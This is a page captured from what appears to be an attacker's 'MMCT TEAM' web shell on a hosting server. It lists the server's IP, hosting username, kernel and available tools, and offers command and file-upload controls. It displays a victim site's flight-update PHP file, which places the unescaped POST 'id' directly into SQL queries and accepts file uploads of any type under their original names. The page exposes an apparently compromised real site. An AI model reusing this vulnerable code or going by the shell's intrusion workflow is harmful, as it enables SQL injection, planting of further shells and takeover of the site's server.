MMCT TEAM
Server IP : 2a02:4780:11:1361:0:bf7:7935:10  /  Your IP : 3.145.210.14
Web Server : LiteSpeed
System : Linux in-mum-web1261.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u200767797 ( 200767797)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u200767797/domains/shivainternational27.com/public_html/dashboard/include/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u200767797/domains/shivainternational27.com/public_html/dashboard/include/update_flight.php
<?php  
include("../../connection.php");
date_default_timezone_set('Australia/Perth'); 
$currentDate = date('d-M-Y');

$name = mysqli_real_escape_string($con, $_POST['title']);
$desc = mysqli_real_escape_string($con, $_POST['description']);
$uid = $_POST['id'];
 
 if($_FILES["image"]["name"]==""){
      $im_empty = 'yes';  
    }else{
        $im_empty = 'no';
        
$target_path2 = "images/";  
$target_path2 = $target_path2.basename( $_FILES['image']['name']);   


$path_img2 = 'dashboard/include/images/';


  
if(move_uploaded_file($_FILES['image']['tmp_name'], $target_path2)) {  
    $path_img2 = $path_img2.$_FILES['image']['name']; 
} else{  
    echo "Sorry, file not uploaded, please try again!";  
} 
    }


    if ($im_empty == 'yes') {
        $s=mysqli_query($con,"UPDATE `flights` SET `title`= '".$name."',`description`= '".$desc."' WHERE `id` = '".$uid."'");
    }else{
        $s=mysqli_query($con,"UPDATE `flights` SET `title`= '".$name."',`description`= '".$desc."',`image`= '".$path_img2."' WHERE `id` = '".$uid."'");
    }   


    
        
   
    
           // $s = mysqli_query($con,$query);
            
            if($s){
                echo "<script>
alert('Updated Successfully.');
window.location.href='../home.php';
</script>";
            }else
            {
                echo "<script>
alert('Error.');
window.location.href='../home.php';
</script>";
            }
            

            
            


?>

MMCT - 2023